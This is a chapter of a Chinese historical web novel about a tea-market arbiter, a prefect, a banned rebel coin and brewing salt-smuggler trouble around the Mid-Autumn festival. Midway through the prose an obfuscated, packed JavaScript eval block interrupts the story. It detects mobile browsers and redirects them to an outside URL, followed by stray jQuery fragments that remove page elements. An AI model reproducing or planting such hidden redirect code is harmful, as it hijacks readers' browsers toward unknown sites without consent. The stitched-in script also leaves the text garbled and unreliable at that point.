我上前细问争执缘由，原是折算方法有差，偏偏两边都是犟种，为了几斤散茶的差额，硬是闹到拔刀相向的地步。我也不多言，只让他们把货一分为二，各按其法，折算后再加拢便是。双方得了台阶，各退半步，总算了结此事。


    马湖人走后，韦济又与杨主事说起良马支移事宜，倔老头耐着性子听完，颇不客气地告知，茶马司上官早已发了行文，身在其位，必当恪尽职守，不劳地方长官再来说道。


    郭成旁观他俩，小声与我道：“韦知州这是怎么了？大老远跑来碰‘杨马卢’这个钉子。”


    “杨马卢？”我有些奇怪，“杨主事不是叫杨波吗？‘马卢’是他的号，还是字？”


    郭成“扑哧”一声，笑得突兀，引来杨主事侧目。他慌忙由秤台跃下，又急着向我招手。我心道一声“莫名其妙”，避开韦济探究的目光，亦跟着跳了下去。


    “搞什么鬼？”我埋怨道。


    “你竟不知道，”郭成勉力憋住笑道，“‘杨马卢’是茶马司那群坑货给老杨起的诨名。”


    诨名？我默念一遍，不禁哑然失笑：“你别说，确有共通之处。”


    我与郭成又闲聊几句，韦济走下秤台，打量我俩道：“郭巡检，何事如此开怀？”


    郭成笑声爽朗，指了指我道：“韦知州，还是让青娘子同你说吧。明天过节，下官边务未了，先行告辞！”言罢，朝我和韦济拱手，领着人马收市巡边去了。


    时近日暮，天边晚霞似火，山野轻风流岚。


    我和韦济各自牵着马，慢慢踏上归途。


    韦济低叹一声，似在自嘲：“青娘子和郭巡检可是觉得，韦某此行来榷场，实在是多此一举？”


    “并不是。”我轻笑，“适才我们在聊茶马司的人给杨主事取的绰号，虽然促狭了些，倒也不失贴切。”


    “噢？”韦济眼中闪过一丝好奇，含笑问道，“可否说来听听？”


    我用手背捂住嘴，闷声笑道：“‘杨马卢’。我原是不知，郭成咋一说起，我还以为‘马卢’是杨主事的字来着！”


    韦济强忍笑意，面上升起一抹红晕：“杨主事精通业务，只是性子有些执拗，与茶马司的同僚素来不睦。悦州边市重开，百废待举，我存了私心，向府官请求将他调来。”


    说到此处，话音里带了几分惆怅，“或许除了他自己，旁人都认为这样的安排再好不过。”


    “其实未必。”我止住笑道，“这半年来，我与杨主事打着交道，倒是觉得他对榷场的差事乐在其中。


    “韦大人不妨看看身边的人，到了杨主事这样的年岁，还能如他一般精神矍铄、干劲十足的，怕是没几个呢！大人可曾留意到，雨季过后，来南广榷茶的马湖人愈发多了。


    “这其中，固然有陆道比水道好走的缘故，但杨主事划等公道，手下差役也从不仗势欺人，这些才是各路夷商最为看重之处。”


    韦济停下脚步，朝我执手：“还有青娘子这样精通折算、善于调停的判官。韦济何其有幸，悦州榷场能有杨主事与青娘子二位能人坐镇。”


    我笑道：“韦大人不必客气。当真要谢我，替我向茶马司多讨些佣金便是。”


    韦济莞尔：“那是自然。”


    眼前的韦济温文有礼，我脑海中忽然闪过一桩令人费解之事，忍不住疑惑道：“今日在牛门峒，折比尔呷三番两次从中作梗。不知大人临行前，给他瞧了什么、又说了什么，他竟然一反常态，不再闹腾了？”


    韦济眨眨眼，从袖中取出一枚制钱，举到我面前：“认识这个么？”


    我瞥了他一眼，拿起制钱，对着夕照仔细端详。半新不旧的小平钱，钱背之上铸有四朵星纹，翻过面来，方孔周围赫然铸着“应运元宝”四个隶字。我心头剧震，猛地将铜钱攥紧，抬眼看向韦济，惊疑不定道：“这是——反王钱？！”


    韦济默默点头，朝我伸出一只手掌。


    我连忙将制钱抛还于他，略加思索道：“不对呀？我与折比尔呷打七星卦时，他用的每一枚铜钱，我都经过手。印象之中，有宋钱、有大理钱，似乎并未见着你手上这枚。”


    韦济眼底掠过一丝不易察觉的狡黠，轻声道：“没错。这枚钱是我带来的。”


    我皱眉道：“大蜀国亡了，钱也禁了。你随身藏着这玩意，就不怕惹祸上身吗？”


    韦济瞧着我，突然就笑了。


    我微微有些着恼：“大人笑什么？”


    韦济移开目光，回道：“青娘子方才说的话，和韦某对折比尔呷说的话，只字不差。”


    我松了口气，亦是笑了：“原来如此。”


    韦济又道：“前些日子，筠连查剿一处私销铜钱的窝点，追缴上来的赃物中，夹杂着这枚禁钱。


    “上回修桥，我与折比尔呷打过几次照面，知道此人极为好赌。恰逢槐序来州衙报案，我便将禁钱借出，随身携带，不料还真有些用处。”


    我想了想道：“虽说折比尔呷大字不识几个，但铜钱上的汉字，见多了，总该识得出来。这枚禁钱并非他所有，想必他也知道。”


    韦济将禁钱纳入袖底，缓缓道：“王、李两个反贼是茶贩出身，折比尔呷是山场之主。虽说持有禁钱是假，但他想避嫌的心思，却是真的。”


    行至燕子坪，一轮凸月已挂上东天。


    我看向韦济，问道：“明天中秋节，韦大人可打算给自己放个假？”


    韦济轻轻“嗯”了一声。


    我笑道：“这几日也是我们僚人的‘八月节’，四处热闹得紧。既然大人不必案牍劳形，不如在燕子坪歇下，我让槐序她们再带你去听歌打跳，如何？”


    韦济面色微红，朝我执手道：“多谢青娘子盛邀。只是韦某明日需赶赴泸州，无法在此久留。”


    我不禁替他感到惋惜：“嗳呀。刘大夫早就备好了‘重碧春’；柳先生特意做了糟鱼下酒，看来你是没这个口福了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401335|181191||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    韦济垂眸：“月初熊知府来信，邀我去清风观打醮拜月。我想正好藉此机会，与他当面聊一聊盐价上浮之事。”


    “清风观？”我惊诧道，“他竟邀你去道观过中秋节？”


    韦济颔首：“正是。”


    “嗬！”我悻悻出声，“这人没事吧？”


    “他——”韦济略顿一下，回道，“没事。伯通修道多年，惯是如此，越是热闹的日子，越好清静。”


    我竟有些好奇：这“活阎王”修的哪门子道？无情道吗？


    中秋过后，各地的散茶经八亭道大量入市，夷商与茶马司之间龃龉不断。受人之托，忠人之事，只因兼着悦州行市的判官，接连数日，我都泡在榷场与他们调停。


    客栈的人同样忙得不可开交，夕食也一天比一天凑和。


    这一日午后，西南风骤起，天边堆起重重积云，估莫晚间要落雨，夷贩和茶马司的秤头突然间生出默契，定等称重一气呵成，往常闹哄哄的兑换盐钞场面竟然消失了，马锅头们破天荒地排起队来。


    杨主事眉开眼笑地给各路夷商发放号牌；巡检司的弓兵也放下器械，帮忙垒起了茶垛。


    我闲靠一旁，只觉这一幕荒诞又美好。众人齐心，终于赶在太阳落山前收了市。我与杨主事、郭成又坐下嗑了会瓜子，喝了两遍茶，见天色渐暗，便告辞归家，一头扎进厨房，打算整几道硬菜，祭一祭亏空许久的五脏庙。


    角落里还剩小半筐菌子，是槐序和封峤前几日捡的，早已开了伞。我拿到前院，悉数倒给鸡吃，背上竹筐，准备进山去拾些新鲜的。


    林钟瞧见，唤住我道：“东家，我去吧。”


    我笑着摆摆手：“不用。上回在大青岩，我看到‘斗鸡公’来着。过去这么多天，我想该是长好了，趁着还没下雨，赶紧去捡些回来烧汤。”


    林钟伸手按住我背上的竹筐，顺势卸下，背到自己身上：“早间易溪过来的马队说，节前他们那的盐帮屯积不少补给，近日或是会闹些动静，让我们尽量少往东南面去。”


    大青岩恰是在东南方向，我忙拉住林钟：“那你也别去了。”


    “我没事。”


    “不行。”


    林钟拨开我的手腕，头也不回道：“我去西边。”


    我不禁有些赌气，冲着他的背影叫道：“快去快回！不许去大青岩，听见没？！”


    林钟并未回应，只是挥了挥手，身影很快消失在视线之外。


    我站在院中，抬头望着阴沉沉的天，风卷着落叶在脚边打着旋，不知为何，没来由地觉得——心底有块地方被压得透不过气来。我按了按额角，快步折回厨房，一眼瞅见灶台上的盐罐，莫名又是一阵心惊。


    我冲出厨房：“槐序、封峤！”


    他二人从马厩方向跑来，槐序掸着身上的草屑问道：“怎么了，干娘？我们在盖马草呢。”


    我急道：“最近莫要进山了，知道吗？”